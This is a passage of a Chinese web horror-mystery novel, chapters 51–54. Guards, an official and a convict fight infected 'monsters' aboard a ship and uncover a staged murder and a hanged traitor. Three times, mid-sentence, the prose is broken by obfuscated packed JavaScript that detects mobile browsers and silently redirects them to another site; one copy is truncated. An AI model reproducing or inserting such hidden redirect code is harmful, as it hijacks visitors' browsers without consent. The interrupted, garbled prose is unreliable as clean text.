楼下传出椅子轰然倒塌的巨响。萧明灿看着放满瓷瓶和纱布的药箱。言生再次瞥了眼腰间那一摞牌子,里面没有随行御医的官牌。 “是背叛。”檀妄生说。 尖叫声仍在回荡。走廊上的所有人都握着刀和火铳。 “……等等,”楼下的其中一人喊道:“是活人——” 几不可闻的闷哼声打断了话音。 接着,舱下墙面上映着随从被当胸踹倒的倒影。 沈祈安举刀高喊:“——杀!” 51. 屠宰场 空气中充斥着厮杀声。 那随从猝不及防,被侍卫一刀砍伤。数道黑影从舱口暴冲而出。火铳沉闷的响声在有限的船舱内震耳欲聋,铁弹雨珠似的砸在一块厚重的木板上。那些侍卫们就这么推着木板,在狭窄的走廊里如战车般往前顶,见人接近就拿刀捅,逼得檀妄生的人不断后退。 萧明灿能在一片混乱里听见几声尖叫,那是种沉闷的、湿漉漉的声音,来自于那群怪物。它们仍在楼下。在不到半刻钟之前,它们还曾和那些侍卫们和谐地共处一室。 和谐地。萧明灿心里想。 檀妄生把药箱轻轻合上。门外的光线忽闪忽灭,如同雨夜里飘摇的灯笼。他看向萧明灿,好像要从她的眼睛里看出什么。言生也站在原地。他们都在等着对方说出第一句话。但作出回应的也只有油灯渐渐枯弱的火苗。 檀妄生轻叹一声:“……看来,我们都认为这是对方搞出来的鬼把戏。” 萧明灿没有回答。 檀妄生在起身时拿起火铳,他的动作看起来依旧懒懒散散的,又带着一点不耐烦。如果有人在大清早突然被叫起来处理件微不足道的麻烦事,大概就会露出这种表情。他转过身,看向房门。 随从们仍在后退。周从友试图找出那块厚木板的破绽,但毫无收获。事情发生得太突然了,三眼铳的威力只能暂缓他们的脚步,那木板后面一定嵌着块铁板。侍卫们一步一步从舱下走出,官员被侍者们护在最后,队伍很快越过了房门。 他们步伐有序,想必早就制定好了周密的计划,但却没人注意到两边的房间。也许是因为屋内的光线昏暗,也许是因为死气沉沉、堆满尸体的屋子远没有前面的随从更值得注意,也许他们以为那个罪臣并不在这艘鬼船上—— 直到温热的鲜血溅在脸上。 侍卫中弹倒下。队伍踉跄了一下,又很快稳住了。几人惊恐地转头,便看见那罪臣就站在房间的正中心,架起火铳,无比专注地瞄着人群。 房门在一片死寂里缓缓扇动。官员颤抖地指向屋内,张了张口。 就在房门关上的瞬间,铁弹骤然透过门板的裂口,打穿了其中一人的胳膊。厮杀一触即发。另一个侍卫在同伴踉跄后退时踹开房门,拖起地上不知是谁的尸体,顶在身前,挡住了射来的铁弹,接着在距离檀妄生几步远时被射穿了肩膀。 萧明灿看着侍卫们倒下时仍旧清明的瞳孔,抽出匕首,走向檀妄生。 鲜血覆盖了墙上暗沉的污迹。队伍僵停在了走廊里,尖叫声和刀剑声撞在一起,又被火铳的砰响压过。 檀妄生不紧不慢,每一次开火都像是耍人玩似的避开要害,看见侍卫倒地后想甩暗器,便朝着胳膊再补一次。他计算着弹药的数量,当还剩最后一发铁弹时,他终于在人群里找到了沈祈安。与此同时,一个侍卫在混乱里绕过桌椅,避开了几发铁弹,抡着刀朝他冲来。 檀妄生并不在乎那个侍卫,平稳地瞄着沈祈安。这是桩相当划算的交易。也许他会身中一刀,但他们的代价是失去重要的—— 他轻轻扣动扳扣。 枪管被匕首猛然划开,铁弹擦着最前面侍卫的额角,砰地打进了墙内。 檀妄生转过头。萧明灿低声说:“够了。” 檀妄生瞥了房门一眼,接着遗憾地耸耸肩,举起双手,后退了几步。 “——国师!” 沈祈安大步走来,黑发松散,胳膊上缠着纱布,半边身子全是干透的血,像是花了一夜时间才从死人堆里爬出来的鬼。他蹭掉脸上的血,仓促行了一礼,“国师没事——” “我没事。”萧明灿看着他手里淌血的刀,又看向房门外那几道身影。微弱的烛火映着那一张张染血的面孔。他们正惊魂未定地凝向屋内。所有人都能感觉到某种东西正在空气中弥漫,不安,恐惧,劫后余生的紧绷,还有刺鼻的火药味。黏稠得就像挥之不去的乌云,压在他们的头顶。 尖叫声隐隐传来。 短暂的沉默后,萧明灿开口问:“小沈将军刚刚和那些怪物待在一处吗?” “……回国师,是的。” 沈祈安扫向已然变成屠宰场的伙房。意识到这话太容易起误会,接着又解释道:“当时有人在放置水桶的角落后发现了一具无头尸。我们过来调查,不料中了那些埋伏在这里的鬼东西的袭击。舱下逼仄,前后都是那鬼东西,我们退无可退,只得到舱下暂避,再寻时机。结果我们刚堵住舱口,就发现那鬼东西竟然藏在……不,” 他用掌心按了按额角,尽量去准确描述出那个场景,“是人群,人群当中有人突发狂症。我们迫不得已,只能把他们控制住,暂时锁起来。但他们始终不见好转……” 他说到这,抬刀指向檀妄生,“国师,那鬼东西之所以能爬上船,袭击我们,都是因为这个罪臣派来的人搞的鬼。” 众人视线刀似的转向檀妄生。 檀妄生装好弹药,瞧了眼四周,“那他人呢?” “失踪了。”沈祈安冷声说:“就在袭击发生前不久,我们的人在甲板上忽然听见落水声。我们觉得不对,四下排查,后来才发现,失踪的人是你派来的那个罪民。” 屋内陷入沉默。萧明灿没有去看檀妄生,但他知道,她需要一个解释。 “……我的人失踪了,活不见人,死不见尸,全靠小沈将军一张嘴。要我说,欲加之罪何患无辞。” 檀妄生看了眼围堵在房门外的侍卫,叹了口气,说:“既然小沈将军执意说我是罪魁祸首,杀害官员又是砍头的死罪,横竖都是死,那我们索性再打一次好了。万一我运气好,和小沈将军同归——” “‘小沈将军’?”沈祈安刀锋下压,逼着他稍仰起头,“论军衔,你是罪臣我是四品将军。论年纪,我练刀的时候你还在到处找奶喝。之前在我们登岛时肆意杀害官员,劫走国师,现在又设计用那些鬼东西祸害我们,杀了数十名官员侍卫,再加上先前失踪的两批押送队伍,檀妄生,真当这座岛是你的土匪山吗?光是从这些罪里随便挑出一件,就够让你现在就人头落地的了。” 他再一次压下刀柄,锋刃切进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271267|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉,渗出小股鲜血。周围的侍卫紧握佩刀,提防着檀妄生的每一个动作,但其实,他并没有做任何反抗。他微微仰起头,抬起双手,另一只手还提着火铳。片刻的死寂后,他露出一个抱歉的微笑,恭敬地说:“……好好好,沈大人,请您宣读草民罪责。” 沈祈安说:“你以为我在和你开玩笑——” 萧明灿揉了揉额头。言生皱眉道:“国师还在这里,你们这是在做什么?” 沈祈安如梦初醒,才意识到自己太过激了,收回刀,对国师行礼道:“微臣头脑一热,分不清状况,国师……” 檀妄生抹了下侧颈的伤口。 “现在不是追究这些的时候。”萧明灿扫了眼四周,说:“舱下狭窄潮闷,又有怪物潜伏。无论如何,先让所有人都离开这里。” 她看了眼伙房的最角落。本应堆放木桶的地方空空荡荡,只剩下一个被掀开盖子的木箱,那里原本装满了备用的冰块,如今已经化成了水从箱子裂口流渗而出,汇聚到地上的血泊当中。 “沈将军,”萧明灿说:“到时我要知道船上究竟发生了什么。” . “……大人饶命!我们、我们真不知道怎么回事……” 舱下伙房里,一群侍从哆哆嗦嗦地跪在地上,一旁的小太监也慌得直抹冷汗,叫他们赶紧好好交代清楚。那是两个时辰之前发生的事。 那时候,这里还没有变成充满血腥的屠宰场。桌椅摆放整齐,木台上放着的是一堆待洗的菜,烛灯亮得足够让人看清这里的一切。他们身后的锅里还煮着饭,热气蒸腾,只不过,眼下那饭香正和一缕若有似无的血味缠在一起,有点令人反胃。 而当沈祈安赶到时,就看到了更加诡异的一幕。 原本整齐堆放的水桶被左右分成两摞,而中间空着的地方坐着个无头男尸。他身上单薄的白衣被脖子断口的血染透,赤着脚,双手搭在两侧,右手紧攥着一把短刀。 他旁边放着个两人宽的木箱,箱里原本满满当当的冰只剩了一半。头颅就立在冰面上,黑发覆面,血把那层冰染得鲜红。 “大、大大大人,我真不知道……” “你不知道什么?”侍卫领队抹了把旁边的血,打断了管事的话:“这血还没干透。你们从三个时辰之前就一直在这里,期间这地方从未空过。你说你不知情?难不成这人当你们面隐着身进来,然后自己坐在了那堆水桶后面的?啊?” 管事的脸色苍白,跪在地上时像个臃肿的圆球,“我……” 一个侍卫走近木箱,拨开那张脸上的黑发。箱内冰块铺得不平,这一碰,让脑袋倒在了冰上,露出脖子血淋淋的伤口。 侍卫没留意这个,刚要继续拨动那粘在脸上的湿发,就听沈将军说:“……这刀法,是那个罪臣派来的人干的。” 那管事的闻言抬头,眼神不经意一瞄,恰巧看到了沈祈安的袖子内侧。 那里还沾着几滴血。 沈祈安似有所感,稍稍侧头。那管事的一哆嗦,连忙把视线转到了地上。 52. 圈套 “……第一刀就要了他的命。” 沈祈安走向木箱,看着那头颅的后脑,还有颈部的断口,过了一会儿,才说道。 “凶手是从后面袭击的。伤口是自下而上的倾斜面,刀法果断利落,导致他连呼救的机会都没有,还没倒地就断了气。第二刀顺着伤口切割,直到割下头颅。” 所有人围聚在木桶附近,全神贯注地听着。周围很安静,只能听见海浪声、呼吸声,还有自己沉重的心跳声。尽管房间还算暖和,但当他们看着正中央那具形貌诡异的尸体时,还是不由得感到脊背发寒。 沈祈安继续说:“每一天,船上的人都会相互检查伤口,每三人为一组,询问关于对方生活习惯上的问题,如果对方有什么反常之处,他们不可能发现不了。能做到让人毫无防备,且一刀致人死地的,除了我们的人,就只有失踪的那个周卫了。” 闻讯跟着沈将军赶到的官员道:“他为何要……先不论他为何要这么做,重要的是,他怎么可能会绕过这么多双眼睛,把人挪到这里来的?” 侍卫一把攥起管事的衣领,生生把人从地上拖起来,“说!到底是怎么回事?船上还有谁在帮他?” 管事的看了眼横在脖子上的刀,那刀锋刮着皮肉,吓得他直往后缩,但又被衣领死死卡着,慌忙道:“大大人们饶命,不是我不说,是我真的不知情,因为我才来这里不到半个时辰……” 他被勒得有点喘不过气,“我白日里不知怎么吃坏了肚子,这一整个晚上都躺在床上,直到半个时辰前才好转点,就赶紧来这里看看情况。大人你看,我刚刚就这么无意识一瞧,发现那些木桶的位置不太对,稳妥起见,我便仔细检查了一下,才发现那里面竟然还坐着个人……咳咳……” 刀割破了点皮,渗出些血珠,他不敢再大喘气,就这么嘶哑道:“如果不是我,这尸体恐怕直到第二日都发现不了……大人明鉴,这地方是我来负责,遭难的首当其冲就是我这个管事儿的,怎么可能藏完尸又主动装不知情来禀告大人?我怎么可能参与这种事……” 侍卫们相互看了眼,把他摔在了地上,又扫了眼那一排排跪在地上的侍从。他们全都低着头,肩膀畏惧地缩着,影子在烛灯下交叠着打在墙上,随着烛苗轻轻颤动,像是夜里斑驳的树影。大家对这种场景并不陌生。 四日前,他们也曾见到过这些表情,它们出现在不同的脸上——焦虑、茫然、惊惶。后来,他们把那称之为“清洗”。 所有人都聚在一起,逐一检查伤口,出现“感染”症状的人会被隔离。最开始,他们认为这只是一种莫名的疫病,来自于岛上的荒废已久的渔村。但事实上,那远远比疫病更令人骇然。 被隔离的人最终都离奇死亡了,他们自己杀了自己。那个用于隔离的房间就在舱下的最角落,炸开似的鲜血现在应该已经沿着墙壁渗进了船体的缝隙当中。他们已经很久没去了。尽管前几天他们刚发现一个有“感染”迹象的人,但他们并没有带他去“隔离”。 反正他们已经无药可救了,不是吗?与其在房间中把自己的脑袋一下一下往墙上撞,不仅让自己痛苦,也让整艘船的人不安,还不如直接—— 所以,“感染”就意味着死亡。 而此时此刻,他们这群人当中,正有人试图利用那些可怕的“感染”搞些鬼把戏。现在这里就如同一座危机四伏的军营,船上每个人都像是连吃五场败仗的新兵,没有经验,不明情况,担惊受怕,一丁点风吹草动都有可能让他们全军覆没。 房间里一片安静。 所有人都在紧张的沉默中等待着,等着“感染者”突然站起来,像个疯子一样袭击他们。等着有人能指认出最近行为反常的同僚,帮助所有人阻止某种更可怕的危险降临。但最后什么也没发生,大家只是提心吊胆地看着对方。 最后,沈祈安抽出佩刀,看向屋子里所有人,“一个时辰之前,在这里的人都有谁?” . “无论是在伙房做事的人,还是守在走廊上的人……他们都没有‘感染’。但他们都曾短暂地离开过原本的位置。” 舱下的走廊里,沈祈安走在国师身后。他目光转向倒在两侧的尸骸,眉头微微收拢,刚打算继续说下去,前面破裂的舱口处就涌进一阵凉风。几盏壁灯骤然熄灭,阴影随之蔓延向走廊深处。沉闷又潮湿的脚步声里,那些怪物的叫声显得越发清晰。官员们惊魂未定地扫向四周,紧接着,队伍后面传来了呕吐声。 萧明灿仍继续走着,说:“因为船上出现了落水声?” 沈祈安点点头,沉声道:“那时已是深夜,周围又起了些雾,我们的第一反应是有……所谓的‘感染者’在靠近这里。而当时因为先前登岛那日的袭击,和‘感染’的缘故,我们的人已经有了超乎预料的折损。所以,我们理所应当地认为,比起无法从窄窗钻进的舱下,它们更有可能爬上四周空旷的甲板。” “……于是将军当时把人都叫到了甲板上去排查危险,包括守在舱下的那几个人。”言生看了眼那些挨个房间搜刮东西的随从,压低了声音:“但是,呆在伙房的人为何也会离开那里?” 沈祈安看向一侧敞着门的房间,黑暗就像河底的淤泥一样堆附在四周墙角,最后一个企图逃跑之人的尸体倒在距离房门三步远的地方,从脖子断口喷出的鲜血让他想到了倾倒的酒坛。 他停下脚步,沉默须臾后,对萧明灿说:“……国师相信巧合吗?” . “——这么巧?” 两个时辰前的伙房里,侍卫接过烛灯,看了眼那地上的无头尸,怀疑道:“大晚上的,早不送晚不送,偏偏赶在甲板上出事前去送饭?” 侍从哆哆嗦嗦道:“是……是真的,大人,小人也觉得纳闷。就像大人说的,当时正是大半夜,按理说,大家应该都睡了,就算有饿得睡不着的,也都是吩咐下人来随便拿些干粮填填肚子。但没想到冯大人派人一过来就点了……” 他刚把手往腰间一伸,那刀就横了过来。侍从不敢再动,另一个侍卫摸了摸他腰侧,拿出来张褶皱的纸条,交给沈祈安。上面大概记着几道菜名,沈祈安草草扫了一眼,发现都是些需要时间的热菜。 “……清蒸蟹?”沈祈安道。 副手来回走了几步,焦躁地按着脑袋,“都什么时候了,这群没用的饭——还有闲心胡吃海塞,难不成他们在被饿死鬼——” 他把手放下来,转头看向沈祈安。 “只有两种可能。”沈祈安说:“要么他们已经和檀妄生相互勾结,要么就是已经被‘感染’了,而船上有人在故意引他们去点那些需要多人去送的热菜。” 侍卫道:“就像三天前……那个在房间里生生啃掉自己右手的人。” 一个负责船舵的官员道:“这么说来,船上现在已经混进了那些……” 副手看了眼四周,十几个侍卫守在房间里,走廊上还有几人在逐个房间排查可疑之人,官员们则商议着应对办法,时不时忧虑地望向屋顶。伙房烛火飘动,铜质的灯台在微光下闪着钝闷的光泽。很快,整个房间陷入坟墓般的沉寂。 当初侍卫们得知在伙房发现了具无头男尸的消息时,都不约而同地以为舱下又出现了‘感染者’,又或是有什么人在搞鬼。毕竟那个时候周卫才刚失踪不久,而无论是舱下走廊还是伙房,始终都有人在看守。他们先入为主地认为舱下危机重重,但如今来看,也许舱上反而是最棘手的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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走廊上的侍卫和跟着办事的小太监步履匆忙。官员们互相看着对方,跪在地上的人肩膀颤抖。某种无言的恐惧笼罩着这里,就像一块巨大的幕布。房间里有人低声说了句“赶紧上去看看”,但没有任何人动弹。他们就像是被这种恐惧定住了腿脚,又或许,某种直觉正在他们的脑袋里疯狂尖叫,告诉他们上面就是地狱—— 沈祈安忽然转过身,推开前面的侍卫,大步走向房门,“那些去小陆房间的人怎么还没回来?他那屋子不是就在舱口木梯边吗?” 其中一个侍卫看向正躺在木箱冰块上的“小陆”,那下面的血水正缓缓渗进冰块的缝隙里。他眼皮轻轻一跳。 突然,走廊另一侧传来一声低呼,沈祈安拉开房门,“怎么回——” 砰。 屋顶突然传来一声闷响。那是有人倒地的声音。 砰! 随从一脚踢开木桶,随手捡起旁边的匕首。走廊漆黑,那提灯随着他的动作明明灭灭,照着几人的侧脸,冷不丁一看,像是夜里送丧队伍里的假人。 沈祈安看了眼那人腰后的三眼铳,说:“直到那个时候,我们才意识到,我们中计了。” 走在最前面的檀妄生正轻哼着歌,手里上下抛着刚从房中带出来的白瓷小猫。 沈祈安说:“从管事吃坏肚子,到后来出现接连的落水声,有人趁机将尸体拖走……这是一个彻头彻尾的圈套,目的就是为了让我们误以为舱下出了棘手的麻烦,从而调走大批人手,好让那群怪物趁机登上甲板,再围杀我们,占领整艘船。” “‘误以为’?”言生看向萧明灿。 “没错。”沈祈安看着檀妄生的背影,刀锋微微上抬,“为了这个圈套,他们从我们登岛那日就开始铺垫了。” 萧明灿稍稍侧头,看了眼他沾满血迹的袖管。 53. 索命鬼 血珠溅了沈祈安半脸。 当他转过头时,那转瞬即逝的数息仿佛变成了某种流动的水,并且降到了极其缓慢的速度。他看着身侧那张面孔凝固在一个震惊而惶惑的表情上,眼珠缓缓转向自己的肩膀,有个人正站在身后,咀嚼着一小块皮肉。管事的张开下巴,嘴唇翕动,当鲜血从脖颈喷涌而出时,他发出了嘶哑的咯血声。 烛灯无比清晰地照着这一幕。 他余光里还映着侍卫们转身看向房门的背影,一个小太监从走廊摔了进来,捂着血淋淋的断手,哀叫瞬间被外面的刀剑相撞声淹没。 下一刻,烛火摇动,昏黄的光线把墙上的人影拉得细长、扭曲、摆动,像是一群疯狂惊叫的鬼魂。胖男人身体摇晃了下,随着坠向半空的烛灯向后翻倒—— 沈祈安挥刀剁进了侍从的脖颈,他嘴里还叼着块皮,眼珠呆滞又缓慢地向一侧偏移,看着那即将落地的烛灯—— 阴影骤然缠裹而来。尖叫声、刀剑声、头顶甲板传来的闷响,所有声音撞在一起,随着喷出的鲜血荡向四周墙面。沈祈安踢开抱着自己靴子的侍从,扯走旁边险些被袭击的侍卫,转身喊道:“保护——” “‘保护我们不会遭受那怪物的袭击。’这是周卫在上船后说的第一句话。” 走廊里只剩下湿答答的脚步声。檀妄生一手接住抛到半空的白瓷猫,稍稍转身,看了眼那微抬的血刀。沈祈安说:“他把那些怪物的事情告诉了我们,并且主动要帮我们辨别人群里……被‘感染’的人。也因如此,我们才会允许他每日可以短时间在船上活动,而不是立即关押起来。” 沈祈安继续说:“他们说想要将功赎罪,这些天以来排查出的那些人也的确出现了与平日不同的反常举止,程度各有不同,但随着时间推移,他们最终都没能活下来。这种病症就连大夫也没办法确认。周卫每次从房间出来时,我们的人都会寸步不离地跟着。这几日他从未惹过麻烦,再加上只有他一人登上了船,我们料想他再怎样也掀不起什么浪,便相信了他的话。” 他停顿了一下,等着所有人去理解这些话。萧明灿看着那刀又往上抬了几分,听他说道: “但直到这场袭击发生时我才明白过来,他之所以要登船帮助我们,是为了探清船上的布局和轮值情况,以便日后借那群鬼东西之手除掉我们。” 檀妄生静静地看着他,应该没有比现在更诡异的时刻了,所有人浑身是血地挤在逼仄昏暗的走廊里,到处都是尸体,每一次呼吸都会闻到同伴们被开膛破肚后的气味,当他们望向周围时,一定会想,这里是地狱吗? 可惜这里不是需要赎罪的地狱,让他们的落得如此惨状的另有其人,而这个人就藏在他们中间,害得他们自相残杀,害得自己差点也成为那血泥的一部分。檀妄生甚至不需要看他们的眼睛,就能知道这群人正迫切地想要知道这个罪人到底是谁,然后—— 檀妄生放下握着白瓷摆件的手,闭上眼睛,慢慢地吸了一口气,然后说:“……将军听到了吗?” 走廊尽头传来嘎吱嘎吱的木头挤压声。 言生眉头微皱。 “就像是一根逐渐绷紧的弓弦。” 檀妄生缓缓睁开眼睛,露出一个安抚的笑容,接着说:“从刚刚开始,我们每说一句话,这根弦就会绷紧一分。沈将军你看,如今大家都处在崩溃的边缘,这里压根就没有什么劫后余生。因为大家都已经意识到了,这群怪物无处不在,哪怕他们侥幸逃过这一劫,但只要没有远离这座该死的岛……不,也许岛外也被怪物渗透了——重要的是,安全只是暂时的,他们随时会沦为——” 周从友捂着肋侧的刀伤,“这些尸体只是来自怪物的警告。” “我更喜欢把它称作结局的预告。”檀妄生慢慢地说:“所以,为了稳定军心,将军必须立刻找出凶手,给大家一个交代……或者说,给国师一个交代。” 沈祈安道:“你——” “我知道,我知道。”檀妄生认错道:“我是罪人,我犯了重罪,就算长了十个脑袋都不够砍的。先前近百人登岛后无故失踪,必然和我脱不了干系,如今船上又遭遇此等诡事,定是我早已设好的圈套……但国师大人、将军要知道,” 檀妄生说:“如果没有我的人告诉各位关于怪物的事,恐怕这艘船早就成了一艘搁浅在滩边的鬼船了。到那时,沈将军面临的麻烦可要比现在多得多。我以为你已经从那艘有去无回的小木船上吸取到教训——” “教训?”沈祈安冷笑,“那艘船失踪的第二日,我们就会派更多的人登岛。到时我们就会知道,那怪物不可能会在白日里出来,我们当中或许有人遭到了不明‘感染’,但在我们自相残杀之前,就会进到岛中心。” 檀妄生说:“这就是将军绞尽脑汁想出来的计划?” 沈祈安道:“起码不会有更多的无辜人白白死在那群怪物手上。” 檀妄生看着他,微笑说:“……如果只需一个人就能摧毁整艘船,那沈将军接下来首先要考虑的应该是怎么向皇上解释自己的失职。说不定到时回了皇城,咱们还能在一个牢里相见。” 沈祈安刀尖顶着檀妄生心口,“所以才要拼命去找你利用怪物违抗皇命,行刺国师,杀害官员的证据。” “‘行刺’?”檀妄生挑起眉,“如果你把登岛那日——” “别吵了。” 两人话音一止。萧明灿看了眼前面堆叠的血桶,没工夫追究两人,对沈祈安道:“将军方才提到的落水声是怎么回事?如果那个人真的是制造了这一切的凶手,那么既然他已经落水失踪,又是谁帮他把尸体挪到了木桶后面的?” 沈祈安又看了眼檀妄生,意识到不妥,收了刀,正色道:“回国师,这便是末将说周卫假借解释怪物之事,探查船上布局的原因。他其实没有失踪,而是躲进了装载货物的水密舱内。” 舱内半昏半明。 一个小太监用烛火点亮了另外几盏灯。沈祈安背靠着木门,看见同伴紧张地盯向头顶,那些惨叫声还在屋顶回荡,他能想象到那个场景,就如同他刚刚经历过的那样,有人突然发狂,把同伴当成了食物,当他们跑到走廊上时,那感染……鬼东西用脑袋直直撞上了门,就好像想要以此在门板上砸出条路一样。更糟糕的是,撞门声并没有停止。 也许伙房里还有受伤的正常人,但……他下了正确的命令,那些鬼东西一旦跑出去,船上的情况只会越来越失控。他们来不及多犹豫,继续往舱口赶,但走廊都被堵住了。 地面上倒着受伤挣扎的人,他们就像被撒了盐的泥鳅一样缩成一团。走廊上的灯暗了大半,黑暗踩着他们的脚步追赶。他们抡起刀,鲜血一次又一次地溅向墙面,接着,他看到了有人试图爬上舱口,但被人一刀从上捅穿了脑袋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346171|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尖叫声。浑浊又刺耳的尖叫声。 沈祈安后退了两步,身影隐回到了黑暗里,再次扫向四周。这是另一个正确的决定,他没办法救走所有人,只能尽力把伤亡减到最小,那些怪物……或者是檀妄生的人很有可能已经登上了甲板。舱口太小,他们此刻出去不亚于排队送命,他们必须冷静下来,冷静下来…… 沈祈安抬起握刀的手,用手背蹭掉脸上的血。身后忽然响起了敲门声。 “救救我,救救我——大人,快开门——” 敲门声越来越响,伴随着绝望的哀叫,他嚎啕大哭着,哀求着他们开门。每个人都能听见指甲抓挠门板的声音,声音越来越响,越来越刺耳,就好像这声音并非来源于门后,而是一柄小勺子伸进了他们的脑袋,正一下一下剜刮着头骨。他们感到脊背发寒。 “救救我……救救——” 官员们看向对方,开始有些犹豫到底要不要开门。 砰。砰。砰—— 外面的厮杀声仍在继续。 砰! 敲门声越来越响。外面的男人仍在哀求:“我是舵手,你们需要我……这里有人受伤了,他、他昏迷了,快点,快点……他们要过来了……大人,大人快开……” 官员往前一步,看了眼周围犹疑不定的人,低声提醒:“外面怪物歹人混杂,情况不明。我们被困在这里,如今舱下活人越多,对我们越有利——” 砰! 房门声变得越发尖锐,外面的人疯狂地尖叫:“他们来了,他们来了,他们来了——!大人,大人!” 年轻一点的小官也跟着焦急起来:“我们到底开——” 沈祈安闭上眼睛,依旧顶着房门。这是又一个正确的决定,每一个正常人都没办法做到见死不救,尤其他们只有一门之隔。他只需要转过身,拉开这扇门,就能拯救几个人的性命……但问题是,他们如何能断定外面的就一定是“人”? 外面的人开始用身体撞门—— 砰!砰!砰—— 官员:“他们——” 外面骤然一静。 所有人都看着对方。一阵难熬的死寂后,旁边的小太监颤抖地指了指门,小声道:“他——” 刀尖拖地的刺啦声传来。 ——砰! 沈祈安听着这尖锐的砍门声,心下一沉,“他们——” 砰! “刀,是刀的声音。”侍卫也反应过来:“那些人想要破门!” 蓄着胡子的官员转身道:“赶紧,把能搬的东西都搬过来!” 侍从们连滚带爬地跑到附近房间。木柜拖拽的声音和砍门声回荡在一起。所有侍卫守在房门两侧,紧接着,门板被骤然劈裂,长刀贴着沈祈安的胳膊刺进。 官员催促道:“快点——” 一声尖叫。 这次来自于离他们最远的一间房。 烛光尽熄的房间里,小太监瘫坐在地上,四肢并用着往后爬,惊恐地看着那个人。 几个木箱贴着墙面高摞,最上面的箱子上系着一根绳,绳子的另一端绑在一个人的脖子上。 官员们提着灯敢来,昏黄的光照进屋内,打在那人身上。 男人低着头,舌头从嘴里伸出,光线一晃一晃,像是来索命的鬼。 那是檀妄生派来的随从。 周卫。 54. 炼狱 “他死了。”沈祈安说道。 队伍走到了舱口附近。舱下的尖叫声越来越远,越来越闷弱。几个人抬起头,看着眼前一堆堆摞高的木桶,浓血正沿着裂口缓慢地下淌,像是一堵会流血的墙。 他继续说:“他被吊在了第三层箱子上,双脚距离地面只有半掌高。身上没有严重的伤口,没有落水或溺水过的痕迹。这一切都是他自己做的,他把自己吊死在了那里。” 檀妄生把白瓷猫收进腰侧小锦囊里,端起火铳,闻言稍一偏头,“……你是说,他在制造落水声把人引走,趁机把尸体转移到伙房引你们过来,又里应外合把这里弄得一团乱之后,最后把自己吊死在了舱下?” 这个时候,那几个附近搜刮房间的随从全都聚了过来,前面木桶摞出的小路只能容纳一人进出,他们便站在两侧房门口,手握火铳,看着这群刚刚死里逃生的人。 “怎么,这坏事做着做着突然良心发现了?”檀妄生说:“难道他在这船上呆了四天,被船上的忠正之气熏陶,改变了心境不成?” 萧明灿知道檀妄生话里的意思,这也的确有点说不通,“……没有严重的伤口,说明怪物没有围堵过他,他之前也没有任何身中幻觉的迹象。这就意味着,他是在某一瞬间突然崩溃的。” 言生转头看了眼被阴影彻底吞噬的走廊尽头,“他为何会在做了这一切后突然崩溃?他应该对那些惨状惊骇的尸体早就见怪不怪了。那群怪物形貌的确怪异扭曲,但既然他想引怪物上船,必然会有所准备。如果他不是因为这些的话……” 她想起了登岛那日看到的两具尸体。陈四和赵明安崩溃的原因并非来自怪物或尸体,而是远在皇城的亲人。 她转回头,难以置信地看向国师,然后又看着沈祈安。 沈祈安点点头,从副手那里接过一个被血手帕包着的小物件。他当着几人的面拆开帕子,露出里面的—— 沈祈安捡起地上裂成两半的青玉坠。 身后的几人谨慎又惶恐地走进屋内,烛灯的光向尸体两侧散开,当映亮周围的墙壁时,所有人吓得一激灵。 沈祈安抬起头。 字。用血写成的字。 那些原本堆放在墙边的木箱和装着干肉的袋子都被推倒了,墙下瘫靠着一个侍从,脖子上有道割口,整个腹部被人一刀剥开,鲜血蹭得到处都是,显然是在中刀后被人拖过来的。他睁着浑浊的双眼,空洞地望着聚来的人群。当小太监哆哆嗦嗦地把灯抬高时,映出了他头顶那些密密麻麻的名字。 这些字写得仓促凌乱,血珠沿着字的最后一笔下淌,在干透后留下一道道诡异又渗人的痕迹。没有人认不出这些字。 这些名字的主人都在这艘船上,其中大部分要么已经成为了那些鬼东西的食物,要么成为了那鬼东西的一份子,又或是生死未卜。一群人看着四周的血字,又看了眼吊在半空的尸体,这东西简直就像是某种预兆着死亡的名录。 当一个官员在这些扭曲的血墙中找到自己的名字时,失神地退了几步后,捂着心口昏了过去。 “这……”副手转头看向吊在箱子上的人,尽力让自己的声音听起来冷静如常,“这是他写的吗?” “……他……他为什么要写这些东西?”另一个官员注意到了一旁的沈祈安,顺着他的目光看向掌心里的东西。 周围几个官员从没有见过那东西。 “一个罪人怎么会随身带着如此贵重之物?”言生看了眼附近几个随从,想到了什么,低声道:“难道是他家里的……” 沈祈安看向檀妄生,“就算在岛上和那群怪物生活了三年,也永远没办法适应它们吧?你把那群鬼东西当成保护自己地盘的守城军,但那东西只把你当成一个难对付的猎物。一旦露出弱点,它们就会立刻反过来啃噬你。” 檀妄生伸手想要去拿,但沈祈安先一步握拳盖住了碎玉,然后把东西交给了国师。他看着檀妄生脸上细微变化的表情,冷笑一声,但眼底没有丝毫笑意,“玩火自|焚的滋味不好受吧?” 檀妄生注视着沈祈安,晃动的油灯下,只有他的瞳孔发出了清晰的光,这让周围人想到了一直潜藏在阴影里的野兽。几个侍卫抬手悄然压住刀柄。 